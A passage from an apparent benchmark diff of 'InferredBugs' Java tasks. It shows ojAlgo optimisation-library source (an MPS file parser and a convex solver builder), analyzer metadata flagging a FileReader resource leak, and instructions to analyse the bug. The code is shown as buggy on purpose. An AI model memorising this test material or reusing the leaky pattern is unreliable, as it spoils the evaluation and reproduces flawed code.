+                myExpression.weight(ONE);
+
+                break;
+
+            default:
+
+                break;
+            }
+
+            return this;
+        }
+
+        public Row rhs(final BigDecimal value) {
+
+            switch (myType) {
+
+            case E:
+
+                myExpression.level(value);
+
+                break;
+
+            case L:
+
+                myExpression.upper(value);
+
+                break;
+
+            case G:
+
+                myExpression.lower(value);
+
+                break;
+
+            case N:
+
+                myExpression.level(null);
+                myExpression.weight(ONE);
+
+                break;
+
+            default:
+
+                break;
+            }
+
+            return this;
+        }
+
+        public void setColumnValue(final String columnName, final BigDecimal value) {
+            myExpression.set(myColumns.get(columnName).getVariable(), value);
+        }
+
+        /**
+         * @return the expression
+         */
+        Expression getExpression() {
+            return myExpression;
+        }
+
+        /**
+         * @return the type
+         */
+        RowType getType() {
+            return myType;
+        }
+
+    }
+
+    /**
+     * RowType used with the ROWS and RANGES sections.
+     *
+     * <pre>
+     * type      meaning
+     * ---------------------------
+     *  E    equality
+     *  L    less than or equal
+     *  G    greater than or equal
+     *  N    objective
+     *  N    no restriction
+     *
+     * row type       sign of r       h          u
+     * ----------------------------------------------
+     *    G            + or -         b        b + |r|
+     *    L            + or -       b - |r|      b
+     *    E              +            b        b + |r|
+     *    E              -          b - |r|      b
+     * </pre>
+     *
+     * @author apete
+     */
+    enum RowType {
+
+        E(), G(), L(), N();
+
+    }
+
+    private static final String COMMENT = "*";
+    /**
+     * Seems to be used in problem headers/comment to mark references to authors and such
+     */
+    private static final String COMMENT_REF = "&";
+    private static final String EMPTY = "";
+    private static final int[] FIELD_FIRSTS = new int[] { 1, 4, 14, 24, 39, 49 };
+    private static final int[] FIELD_LIMITS = new int[] { 4, 14, 24, 39, 49, 64 };
+    private static final String INTEND = "INTEND";
+    private static final String INTORG = "INTORG";
+    private static final String MARKER = "MARKER";
+    private static final String MAX = "MAX";
+    private static final String SPACE = " ";
+
+    public static MathProgSysModel make(final File file) {
+
+        final MathProgSysModel retVal = new MathProgSysModel();
+
+        String tmpLine;
+        FileSection tmpSection = null;
+
+        try {
+
+            final BufferedReader tmpBufferedFileReader = new BufferedReader(new FileReader(file));
+
+            //readLine is a bit quirky :
+            //it returns the content of a line MINUS the newline.
+            //it returns null only for the END of the stream.
+            //it returns an empty String if two newlines appear in a row.
+            while ((tmpLine = tmpBufferedFileReader.readLine()) != null) {
+
+                // BasicLogger.debug("Line: {}", tmpLine);
+
+                if ((tmpLine.length() == 0) || tmpLine.startsWith(COMMENT) || tmpLine.startsWith(COMMENT_REF)) {
+                    // Skip this line
+                } else if (tmpLine.startsWith(SPACE)) {
+                    retVal.parseSectionLine(tmpSection, tmpLine);
+                } else {
+                    tmpSection = retVal.identifySection(tmpLine);
+                }
+            }
+
+            tmpBufferedFileReader.close();
+
+        } catch (final FileNotFoundException anException) {
+            anException.printStackTrace();
+        } catch (final IOException anException) {
+            anException.printStackTrace();
+        }
+
+        return retVal;
+    }
+
+    private final Map<String, Column> myColumns = new HashMap<>();
+    private final ExpressionsBasedModel myDelegate;
+    private final String[] myFields = new String[6];
+    private String myIdBOUNDS = null;
+    private String myIdRANGES = null;
+    private String myIdRHS = null;
+    private boolean myIntegerMarker = false;
+    private String myName;
+
+    private final Map<String, Row> myRows = new HashMap<>();
+
+    MathProgSysModel() {
+
+        super();
+
+        myDelegate = new ExpressionsBasedModel();
+    }
+
+    public void dispose() {
+        myDelegate.dispose();
+        myRows.clear();
+        myColumns.clear();
+    }
+
+    @Override
+    public boolean equals(final Object obj) {
+        if (this == obj) {
+            return true;
+        }
+        if (obj == null) {
+            return false;
+        }
+        if (!(obj instanceof MathProgSysModel)) {
+            return false;
+        }
+        final MathProgSysModel other = (MathProgSysModel) obj;
+        if (myDelegate == null) {
+            if (other.myDelegate != null) {
+                return false;
+            }
+        } else if (!myDelegate.equals(other.myDelegate)) {
+            return false;
+        }
+        return true;
+    }
+
+    /**
+     * @return The delegate {@linkplain ExpressionsBasedModel}
+     */
+    public ExpressionsBasedModel getExpressionsBasedModel() {
+        return myDelegate;
+    }
+
+    public String getName() {
+        return myName;
+    }
+
+    @Override
+    public int hashCode() {
+        final int prime = 31;
+        int result = 1;
+        result = (prime * result) + ((myDelegate == null) ? 0 : myDelegate.hashCode());
+        return result;
+    }
+
+    /**
+     * Will disregard the OBJSENSE and maximise.
+     *
+     * @see org.ojalgo.optimisation.Optimisation.Model#maximise()
+     */
+    public Optimisation.Result maximise() {
+        return myDelegate.maximise();
+    }
+
+    /**
+     * Will disregard the OBJSENSE and minimise.
+     *
+     * @see org.ojalgo.optimisation.Optimisation.Model#minimise()
+     */
+    public Optimisation.Result minimise() {
+        return myDelegate.minimise();
+    }
+
+    /**
+     * <p>
+     * If the OBJSENSE was specified in the file it is used otherwise the default is to minimise.
+     * </p>
+     * <p>
+     * The solution (variable values) are in the order the columns were defined in the MPS-file.
+     * </p>
+     */
+    public Optimisation.Result solve() {
+        if (myDelegate.isMinimisation()) {
+            return myDelegate.minimise();
+        } else {
+            return myDelegate.maximise();
+        }
+    }
+
+    @Override
+    public String toString() {
+        return myDelegate.toString();
+    }
+
+    public boolean validate() {
+        return myDelegate.validate();
+    }
+
+    /**
+     * @see org.ojalgo.optimisation.ExpressionsBasedModel#validate(org.ojalgo.structure.Access1D,
+     *      org.ojalgo.type.context.NumberContext)
+     */
+    public boolean validate(final Access1D<BigDecimal> solution, final NumberContext context) {
+        return myDelegate.validate(solution, context);
+    }
+
+    private String[] extractFields(final String line, final Map<String, ?> verifier) {
+
+        myFields[0] = line.substring(FIELD_FIRSTS[0], FIELD_LIMITS[0]).trim();
+        myFields[1] = line.substring(FIELD_FIRSTS[1], FIELD_LIMITS[1]).trim();
+
+        int first = -1;
+        int limit = -1;
+
+        int field = 2;
+
+        char tecken;
+
+        boolean word = false;
+
+        for (int i = FIELD_FIRSTS[field]; i < line.length(); i++) {
+            tecken = line.charAt(i);
+            if (!word && !ASCII.isSpace(tecken)) {
+                word = true;
+                first = i;
+            } else if (word && ASCII.isSpace(tecken)) {
+                word = false;
+                limit = i;
+            }
+            if (word && ((i + 1) == line.length())) {
+                word = false;
+                limit = i + 1;
+            }
+            if (limit > first) {
+                String key = line.substring(first, limit);
+                if (((field % 2) == 0) && !verifier.containsKey(key)) {
+                    word = true;
+                } else {
+                    myFields[field++] = key;
+                    first = -1;
+                }
+                limit = -1;
+            }
+        }
+
+        return myFields;
+    }
+
+    FileSection identifySection(final String line) {
+
+        final int tmpSplit = line.indexOf(SPACE);
+        String tmpSection;
+        String tmpArgument;
+        if (tmpSplit != -1) {
+            tmpSection = line.substring(0, tmpSplit).trim();
+            tmpArgument = line.substring(tmpSplit).trim();
+        } else {
+            tmpSection = line.trim();
+            tmpArgument = EMPTY;
+        }
+
+        // BasicLogger.debug("Section: {},\tArgument: {}.", tmpSection, tmpArgument);
+
+        final FileSection retVal = FileSection.valueOf(tmpSection);
+
+        switch (retVal) {
+
+        case NAME:
+
+            myName = tmpArgument;
+
+            break;
+
+        default:
+
+            break;
+        }
+
+        return retVal;
+    }
+
+    void parseSectionLine(final FileSection section, final String line) {
+
+        Arrays.fill(myFields, null);
+
+        switch (section) {
+
+        case NAME:
+
+            break;
+
+        case OBJSENSE:
+
+            if (line.contains(MAX)) {
+                myDelegate.setMaximisation();
+            } else {
+                myDelegate.setMinimisation();
+            }
+
+            break;
+
+        case OBJNAME:
+
+            break;
+
+        case ROWS:
+
+            myFields[0] = line.substring(FIELD_FIRSTS[0], FIELD_LIMITS[0]).trim();
+            myFields[1] = line.substring(FIELD_FIRSTS[1]).trim();
+
+            final Row newRow = new Row(myFields[1], RowType.valueOf(myFields[0]));
+            myRows.put(myFields[1], newRow);
+
+            break;
+
+        case COLUMNS:
+
+            if (line.contains(MARKER)) {
+
+                if (line.contains(INTORG)) {
+                    myIntegerMarker = true;
+                } else if (line.contains(INTEND)) {
+                    myIntegerMarker = false;
+                }
+
+            } else {
+
+                this.extractFields(line, myRows);
+
+                final Column tmpColumn = myColumns.computeIfAbsent(myFields[1], key -> new Column(key));
+
+                tmpColumn.setRowValue(myFields[2], new BigDecimal(myFields[3]));
+                if (myFields[4] != null) {
+                    tmpColumn.setRowValue(myFields[4], new BigDecimal(myFields[5]));
+                }
+
+                if (myIntegerMarker) {
+                    tmpColumn.integer(myIntegerMarker);
+                }
+            }
+
+            break;
+
+        case RHS:
+
+            this.extractFields(line, myRows);
+
+            if (myIdRHS == null) {
+                myIdRHS = myFields[1];
+            } else if (!myIdRHS.equals(myFields[1])) {
+                break;
+            }
+
+            myRows.get(myFields[2]).rhs(new BigDecimal(myFields[3]));
+
+            if (myFields[4] != null) {
+                myRows.get(myFields[4]).rhs(new BigDecimal(myFields[5]));
+            }
+
+            break;
+
+        case RANGES:
+
+            this.extractFields(line, myRows);
+
+            if (myIdRANGES == null) {
+                myIdRANGES = myFields[1];
+            } else if (!myIdRANGES.equals(myFields[1])) {
+                break;
+            }
+
+            myRows.get(myFields[2]).range(new BigDecimal(myFields[3]));
+
+            if (myFields[4] != null) {
+                myRows.get(myFields[4]).range(new BigDecimal(myFields[5]));
+            }
+
+            break;
+
+        case BOUNDS:
+
+            this.extractFields(line, myColumns);
+
+            if (myIdBOUNDS == null) {
+                myIdBOUNDS = myFields[1];
+            } else if (!myIdBOUNDS.equals(myFields[1])) {
+                break;
+            }
+
+            myColumns.get(myFields[2]).bound(BoundType.valueOf(myFields[0]), myFields[3] != null ? new BigDecimal(myFields[3]) : null);
+
+            break;
+
+        case ENDATA:
+
+            break;
+
+        default:
+
+            break;
+        }
+
+        // BasicLogger.debug("{}: {}", section, Arrays.toString(myFields));
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileReader` acquired by call to `new()` at line 395 is not released after line 416.
+**Note**: potential exception at line 401
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+MathProgSysModel MathProgSysModel.make(File)
+
+### Procedure Id:
+org.ojalgo.optimisation.MathProgSysModel.make(java.io.File):org.ojalgo.optimisation.MathProgSysModel.05f3b8d672c38eb75eb09bfb16c6b02e
+
+### File:
+src/org/ojalgo/optimisation/MathProgSysModel.java
+
+### Key:
+MathProgSysModel.java|make|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+9945faa596ed1712349c0cf1ba5c6410
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3785/instruction.md b/inferredbugs-3785/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fffb9a48250cd8052175cb398ac5a787ee4dd800
--- /dev/null
+++ b/inferredbugs-3785/instruction.md
@@ -0,0 +1,966 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ojAlgo
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 1997-2017 Optimatika (www.optimatika.se)
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+package org.ojalgo.optimisation.convex;
+
+import static org.ojalgo.constant.PrimitiveMath.*;
+import static org.ojalgo.function.PrimitiveFunction.*;
+
+import java.util.List;
+import java.util.Set;
+import java.util.stream.Collectors;
+
+import org.ojalgo.ProgrammingError;
+import org.ojalgo.access.Access1D;
+import org.ojalgo.access.Access2D;
+import org.ojalgo.access.Access2D.Collectable;
+import org.ojalgo.access.IntIndex;
+import org.ojalgo.access.IntRowColumn;
+import org.ojalgo.array.Array1D;
+import org.ojalgo.array.SparseArray;
+import org.ojalgo.function.BinaryFunction;
+import org.ojalgo.function.UnaryFunction;
+import org.ojalgo.matrix.MatrixUtils;
+import org.ojalgo.matrix.PrimitiveMatrix;
+import org.ojalgo.matrix.decomposition.Cholesky;
+import org.ojalgo.matrix.decomposition.Eigenvalue;
+import org.ojalgo.matrix.decomposition.LU;
+import org.ojalgo.matrix.store.MatrixStore;
+import org.ojalgo.matrix.store.PhysicalStore;
+import org.ojalgo.matrix.store.PrimitiveDenseStore;
+import org.ojalgo.matrix.store.RowsSupplier;
+import org.ojalgo.matrix.store.SparseStore;
+import org.ojalgo.optimisation.Expression;
+import org.ojalgo.optimisation.ExpressionsBasedModel;
+import org.ojalgo.optimisation.GenericSolver;
+import org.ojalgo.optimisation.Optimisation;
+import org.ojalgo.optimisation.Variable;
+import org.ojalgo.scalar.ComplexNumber;
+import org.ojalgo.type.context.NumberContext;
+
+/**
+ * ConvexSolver solves optimisation problems of the form:
+ * <p>
+ * min 1/2 [X]<sup>T</sup>[Q][X] - [C]<sup>T</sup>[X]<br>
+ * when [AE][X] == [BE]<br>
+ * and [AI][X] &lt;= [BI]
+ * </p>
+ * <p>
+ * The matrix [Q] is assumed to be symmetric (it must be made that way) and positive (semi)definite:
+ * </p>
+ * <ul>
+ * <li>If [Q] is positive semidefinite, then the objective function is convex: In this case the quadratic
+ * program has a global minimizer if there exists some feasible vector [X] (satisfying the constraints) and if
+ * the objective function is bounded below on the feasible region.</li>
+ * <li>If [Q] is positive definite and the problem has a feasible solution, then the global minimizer is
+ * unique.</li>
+ * </ul>
+ * <p>
+ * The general recommendation is to construct optimisation problems using {@linkplain ExpressionsBasedModel}
+ * and not worry about solver details. If you do want to instantiate a convex solver directly use the
+ * {@linkplain ConvexSolver.Builder} class. It will return an appropriate subclass for you.
+ * </p>
+ * <p>
+ * When the KKT matrix is nonsingular, there is a unique optimal primal-dual pair (x,l). If the KKT matrix is
+ * singular, but the KKT system is still solvable, any solution yields an optimal pair (x,l). If the KKT
+ * system is not solvable, the quadratic optimization problem is unbounded below or infeasible.
+ * </p>
+ *
+ * @author apete
+ */
+public abstract class ConvexSolver extends GenericSolver {
+
+    public static final class Builder extends GenericSolver.Builder<ConvexSolver.Builder, ConvexSolver> {
+
+        private static final NumberContext NC = NumberContext.getGeneral(12);
+
+        private MatrixStore<Double> myAE = null;
+        private RowsSupplier<Double> myAI = null;
+        private MatrixStore<Double> myBE = null;
+        private MatrixStore<Double> myBI = null;
+        private MatrixStore<Double> myC = null;
+        private PhysicalStore<Double> myQ = null;
+
+        public Builder() {
+            super();
+        }
+
+        public Builder(final MatrixStore<Double> C) {
+
+            super();
+
+            this.objective(C);
+        }
+
+        public Builder(final MatrixStore<Double> Q, final MatrixStore<Double> C) {
+
+            super();
+
+            this.objective(Q, C);
+        }
+
+        protected Builder(final ConvexSolver.Builder matrices) {
+
+            super();
+
+            if (matrices.hasEqualityConstraints()) {
+                this.equalities(matrices.getAE(), matrices.getBE());
+            }
+
+            if (matrices.hasObjective()) {
+                if (matrices.getQ() != null) {
+                    this.objective(matrices.getQ(), matrices.getC());
+                } else {
+                    this.objective(matrices.getC());
+                }
+            }
+
+            if (matrices.hasInequalityConstraints()) {
+                this.inequalities(matrices.getAI().get(), matrices.getBI());
+            }
+        }
+
+        Builder(final MatrixStore<Double>[] matrices) {
+
+            super();
+
+            if ((matrices.length >= 2) && (matrices[0] != null) && (matrices[1] != null)) {
+                this.equalities(matrices[0], matrices[1]);
+            }
+
+            if (matrices.length >= 4) {
+                if (matrices[2] != null) {
+                    this.objective(matrices[2], matrices[3]);
+                } else if (matrices[3] != null) {
+                    this.objective(matrices[3]);
+                }
+            }
+
+            if ((matrices.length >= 6) && (matrices[4] != null) && (matrices[5] != null)) {
+                this.inequalities(matrices[4], matrices[5]);
+            }
+        }
+
+        @Override
+        public int countConstraints() {
+            return this.countEqualityConstraints() + this.countInequalityConstraints();
+        }
+
+        public int countEqualityConstraints() {
+            return (int) ((this.getAE() != null) ? this.getAE().countRows() : 0);
+        }
+
+        public int countInequalityConstraints() {
+            return (int) ((this.getAI() != null) ? this.getAI().countRows() : 0);
+        }
+
+        @Override
+        public int countVariables() {
+
+            int retVal = -1;
+
+            if (this.getAE() != null) {
+                retVal = (int) this.getAE().countColumns();
+            } else if (this.getAI() != null) {
+                retVal = (int) this.getAI().countColumns();
+            } else if (this.getQ() != null) {
+                retVal = (int) this.getQ().countRows();
+            } else if (this.getC() != null) {
+                retVal = (int) this.getC().countRows();
+            } else {
+                throw new ProgrammingError("Cannot deduce the number of variables!");
+            }
+
+            return retVal;
+        }
+
+        public ConvexSolver.Builder equalities(final MatrixStore<Double> mtrxAE, final MatrixStore<Double> mtrxBE) {
+
+            ProgrammingError.throwIfNull(mtrxAE, mtrxBE);
+            ProgrammingError.throwIfNotEqualRowDimensions(mtrxAE, mtrxBE);
+
+            myAE = mtrxAE;
+            myBE = mtrxBE;
+
+            return this;
+        }
+
+        /**
+         * [AE][X] == [BE]
+         */
+        public MatrixStore<Double> getAE() {
+            return myAE;
+        }
+
+        /**
+         * [AI][X] &lt;= [BI]
+         */
+        /**
+         * @return
+         */
+        public RowsSupplier<Double> getAI() {
+            return myAI;
+        }
+
+        public SparseArray<Double> getAI(final int row) {
+            return myAI.getRow(row);
+        }
+
+        /**
+         * [AE][X] == [BE]
+         */
+        public MatrixStore<Double> getBE() {
+            return myBE;
+        }
+
+        /**
+         * [AI][X] &lt;= [BI]
+         */
+        public MatrixStore<Double> getBI() {
+            return myBI;
+        }
+
+        /**
+         * Linear objective: [C]
+         */
+        public MatrixStore<Double> getC() {
+            return myC;
+        }
+
+        /**
+         * Quadratic objective: [Q]
+         */
+        public PhysicalStore<Double> getQ() {
+            return myQ;
+        }
+
+        public boolean hasEqualityConstraints() {
+            return (myAE != null) && (myAE.countRows() > 0);
+        }
+
+        public boolean hasInequalityConstraints() {
+            return (myAI != null) && (myAI.countRows() > 0);
+        }
+
+        public boolean hasObjective() {
+            return (myQ != null) || (myC != null);
+        }
+
+        public ConvexSolver.Builder inequalities(final Access2D<Double> mtrxAI, final MatrixStore<Double> mtrxBI) {
+
+            ProgrammingError.throwIfNull(mtrxAI, mtrxBI);
+            ProgrammingError.throwIfNotEqualRowDimensions(mtrxAI, mtrxBI);
+
+            if (mtrxAI instanceof RowsSupplier) {
+
+                myAI = (RowsSupplier<Double>) mtrxAI;
+
+            } else {
+
+                myAI = PrimitiveDenseStore.FACTORY.makeRowsSupplier((int) mtrxAI.countColumns());
+                myAI.addRows((int) mtrxAI.countRows());
+
+                if (mtrxAI instanceof SparseStore) {
+
+                    ((SparseStore<Double>) mtrxAI).nonzeros().forEach(nz -> myAI.getRow((int) nz.row()).set((int) nz.column(), nz.doubleValue()));
+
+                } else {
+
+                    double value;
+                    for (int i = 0; i < mtrxAI.countRows(); i++) {
+                        final SparseArray<Double> tmpRow = myAI.getRow(i);
+                        for (int j = 0; j < mtrxAI.countColumns(); j++) {
+                            value = mtrxAI.doubleValue(i, j);
+                            if (!NC.isZero(value)) {
+                                tmpRow.set(j, value);
+                            }
+                        }
+                    }
+                }
+            }
+
+            myBI = mtrxBI;
+
+            return this;
+        }
+
+        public Builder objective(final MatrixStore<Double> mtrxC) {
+
+            ProgrammingError.throwIfNull(mtrxC);
+
+            myC = mtrxC;
+
+            return this;
+        }
+
+        public Builder objective(final MatrixStore<Double> mtrxQ, final MatrixStore<Double> mtrxC) {
+
+            ProgrammingError.throwIfNull(mtrxQ);
+
+            if (mtrxQ == null) {
+                throw new IllegalArgumentException();
+            }
+
+            if (mtrxQ instanceof PhysicalStore) {
+                myQ = (PhysicalStore<Double>) mtrxQ;
+            } else {
+                myQ = mtrxQ.copy();
+            }
+
+            myC = mtrxC != null ? mtrxC : MatrixStore.PRIMITIVE.makeZero((int) mtrxQ.countRows(), 1).get();
+
+            return this;
+        }
+
+        public void reset() {
+            myAE = null;
+            myAI = null;
+            myBE = null;
+            myBI = null;
+            myC = null;
+            myQ = null;
+        }
+
+        @Override
+        public String toString() {
+
+            final String simpleName = this.getClass().getSimpleName();
+
+            final StringBuilder retVal = new StringBuilder("<" + simpleName + ">");
+
+            retVal.append("\n[AE] = " + (myAE != null ? PrimitiveMatrix.FACTORY.copy(this.getAE()) : "?"));
+
+            retVal.append("\n[BE] = " + (myBE != null ? PrimitiveMatrix.FACTORY.copy(this.getBE()) : "?"));
+
+            retVal.append("\n[Q] = " + (myQ != null ? PrimitiveMatrix.FACTORY.copy(this.getQ()) : "?"));
+
+            retVal.append("\n[C] = " + (myC != null ? PrimitiveMatrix.FACTORY.copy(this.getC()) : "?"));
+
+            retVal.append("\n[AI] = " + (myAI != null ? PrimitiveMatrix.FACTORY.copy(this.getAI()) : "?"));
+
+            retVal.append("\n[BI] = " + (myBI != null ? PrimitiveMatrix.FACTORY.copy(this.getBI()) : "?"));
+
+            retVal.append("\n</" + simpleName + ">");
+
+            return retVal.toString();
+        }
+
+        public void validate() {
+
+            if (this.hasEqualityConstraints()) {
+
+                if (this.getAE() == null) {
+                    throw new ProgrammingError("AE cannot be null!");
+                } else if (this.getAE().countColumns() != this.countVariables()) {
+                    throw new ProgrammingError("AE has the wrong number of columns!");
+                } else if (this.getAE().countRows() != this.getBE().countRows()) {
+                    throw new ProgrammingError("AE and BE do not have the same number of rows!");
+                } else if (this.getBE().countColumns() != 1) {
+                    throw new ProgrammingError("BE must have precisely one column!");
+                }
+
+            } else {
+
+                myAE = null;
+                myBE = null;
+            }
+
+            if (this.hasObjective()) {
+
+                if ((this.getQ() != null) && ((this.getQ().countRows() != this.countVariables()) || (this.getQ().countColumns() != this.countVariables()))) {
+                    throw new ProgrammingError("Q has the wrong number of rows and/or columns!");
+                }
+
+                if (((this.getC() != null) && (this.getC().countRows() != this.countVariables())) || (this.getC().countColumns() != 1)) {
+                    throw new ProgrammingError("C has the wrong number of rows and/or columns!");
+                }
+
+            } else {
+
+                myQ = null;
+                myC = null;
+            }
+
+            if (this.hasInequalityConstraints()) {
+
+                if (this.getAI() == null) {
+                    throw new ProgrammingError("AI cannot be null!");
+                } else if (this.getAI().countColumns() != this.countVariables()) {
+                    throw new ProgrammingError("AI has the wrong number of columns!");
+                } else if (this.getAI().countRows() != this.getBI().countRows()) {
+                    throw new ProgrammingError("AI and BI do not have the same number of rows!");
+                } else if (this.getBI().countColumns() != 1) {
+                    throw new ProgrammingError("BI must have precisely one column!");
+                }
+
+            } else {
+
+                myAI = null;
+                myBI = null;
+            }
+        }
+
+        @Override
+        protected ConvexSolver doBuild(final Optimisation.Options options) {
+
+            this.validate();
+
+            if (this.hasInequalityConstraints()) {
+                if (this.hasEqualityConstraints()) {
+                    return new IterativeMixedASS(this, options);
+                } else {
+                    return new IterativePureASS(this, options);
+                }
+            } else if (this.hasEqualityConstraints()) {
+                return new QPESolver(this, options);
+            } else {
+                return new UnconstrainedSolver(this, options);
+            }
+        }
+
+    }
+
+    public static final class ModelIntegration extends ExpressionsBasedModel.Integration<ConvexSolver> {
+
+        public ConvexSolver build(final ExpressionsBasedModel model) {
+
+            final ConvexSolver.Builder tmpBuilder = ConvexSolver.getBuilder();
+
+            ConvexSolver.copy(model, tmpBuilder);
+
+            return tmpBuilder.build(model.options);
+        }
+
+        public boolean isCapable(final ExpressionsBasedModel model) {
+            return !model.isAnyVariableInteger() && model.isAnyExpressionQuadratic();
+        }
+
+    }
+
+    public static void copy(final ExpressionsBasedModel sourceModel, final ConvexSolver.Builder destinationBuilder) {
+
+        destinationBuilder.reset();
+
+        final List<Variable> tmpFreeVariables = sourceModel.getFreeVariables();
+        final Set<IntIndex> tmpFixedVariables = sourceModel.getFixedVariables();
+        final int tmpFreeVarDim = tmpFreeVariables.size();
+
+        //        final Array1D<Double> tmpCurrentSolution = Array1D.PRIMITIVE.makeZero(tmpFreeVarDim);
+        //        for (int i = 0; i < tmpFreeVariables.size(); i++) {
+        //            final BigDecimal tmpValue = tmpFreeVariables.get(i).getValue();
+        //            if (tmpValue != null) {
+        //                tmpCurrentSolution.set(i, tmpValue.doubleValue());
+        //            }
+        //        }
+        //        final Optimisation.Result tmpKickStarter = new Optimisation.Result(Optimisation.State.UNEXPLORED, Double.NaN, tmpCurrentSolution);
+
+        // AE & BE
+
+        final List<Expression> tmpEqExpr = sourceModel.constraints()
+                .filter((final Expression c) -> c.isEqualityConstraint() && !c.isAnyQuadraticFactorNonZero()).collect(Collectors.toList());
+        final int tmpEqExprDim = tmpEqExpr.size();
+
+        if (tmpEqExprDim > 0) {
+
+            final SparseStore<Double> tmpAE = SparseStore.PRIMITIVE.make(tmpEqExprDim, tmpFreeVarDim);
+            final PhysicalStore<Double> tmpBE = PrimitiveDenseStore.FACTORY.makeZero(tmpEqExprDim, 1);
+
+            for (int i = 0; i < tmpEqExprDim; i++) {
+
+                final Expression tmpExpression = tmpEqExpr.get(i).compensate(tmpFixedVariables);
+
+                for (final IntIndex tmpKey : tmpExpression.getLinearKeySet()) {
+                    final int tmpIndex = sourceModel.indexOfFreeVariable(tmpKey.index);
+                    if (tmpIndex >= 0) {
+                        tmpAE.set(i, tmpIndex, tmpExpression.getAdjustedLinearFactor(tmpKey));
+                    }
+                }
+                tmpBE.set(i, 0, tmpExpression.getAdjustedUpperLimit());
+            }
+
+            destinationBuilder.equalities(tmpAE, tmpBE);
+        }
+
+        // Q & C
+
+        final Expression tmpObjExpr = sourceModel.objective().compensate(tmpFixedVariables);
+
+        PhysicalStore<Double> tmpQ = null;
+        if (tmpObjExpr.isAnyQuadraticFactorNonZero()) {
+            tmpQ = PrimitiveDenseStore.FACTORY.makeZero(tmpFreeVarDim, tmpFreeVarDim);
+
+            final BinaryFunction<Double> tmpBaseFunc = sourceModel.isMaximisation() ? SUBTRACT : ADD;
+            UnaryFunction<Double> tmpModifier;
+            for (final IntRowColumn tmpKey : tmpObjExpr.getQuadraticKeySet()) {
+                final int tmpRow = sourceModel.indexOfFreeVariable(tmpKey.row);
+                final int tmpColumn = sourceModel.indexOfFreeVariable(tmpKey.column);
+                if ((tmpRow >= 0) && (tmpColumn >= 0)) {
+                    tmpModifier = tmpBaseFunc.second(tmpObjExpr.getAdjustedQuadraticFactor(tmpKey));
+                    tmpQ.modifyOne(tmpRow, tmpColumn, tmpModifier);
+                    tmpQ.modifyOne(tmpColumn, tmpRow, tmpModifier);
+                }
+            }
+        }
+
+        PhysicalStore<Double> tmpC = null;
+        if (tmpObjExpr.isAnyLinearFactorNonZero()) {
+            tmpC = PrimitiveDenseStore.FACTORY.makeZero(tmpFreeVarDim, 1);
+            if (sourceModel.isMinimisation()) {
+                for (final IntIndex tmpKey : tmpObjExpr.getLinearKeySet()) {
+                    final int tmpIndex = sourceModel.indexOfFreeVariable(tmpKey.index);
+                    if (tmpIndex >= 0) {
+                        tmpC.set(tmpIndex, 0, -tmpObjExpr.getAdjustedLinearFactor(tmpKey));
+                    }
+                }
+            } else {
+                for (final IntIndex tmpKey : tmpObjExpr.getLinearKeySet()) {
+                    final int tmpIndex = sourceModel.indexOfFreeVariable(tmpKey.index);
+                    if (tmpIndex >= 0) {
+                        tmpC.set(tmpIndex, 0, tmpObjExpr.getAdjustedLinearFactor(tmpKey));
+                    }
+                }
+            }
+        }
+
+        destinationBuilder.objective(tmpQ, tmpC);
+
+        // AI & BI
+
+        final List<Expression> tmpUpExpr = sourceModel.constraints()
+                .filter((final Expression c2) -> c2.isUpperConstraint() && !c2.isAnyQuadraticFactorNonZero()).collect(Collectors.toList());
+        final int tmpUpExprDim = tmpUpExpr.size();
+        final List<Variable> tmpUpVar = sourceModel.bounds().filter((final Variable c4) -> c4.isUpperConstraint()).collect(Collectors.toList());
+        final int tmpUpVarDim = tmpUpVar.size();
+
+        final List<Expression> tmpLoExpr = sourceModel.constraints()
+                .filter((final Expression c1) -> c1.isLowerConstraint() && !c1.isAnyQuadraticFactorNonZero()).collect(Collectors.toList());
+        final int tmpLoExprDim = tmpLoExpr.size();
+        final List<Variable> tmpLoVar = sourceModel.bounds().filter((final Variable c3) -> c3.isLowerConstraint()).collect(Collectors.toList());
+        final int tmpLoVarDim = tmpLoVar.size();
+
+        if ((tmpUpExprDim + tmpUpVarDim + tmpLoExprDim + tmpLoVarDim) > 0) {
+
+            final SparseStore<Double> tmpAI = SparseStore.PRIMITIVE.make(tmpUpExprDim + tmpUpVarDim + tmpLoExprDim + tmpLoVarDim, tmpFreeVarDim);
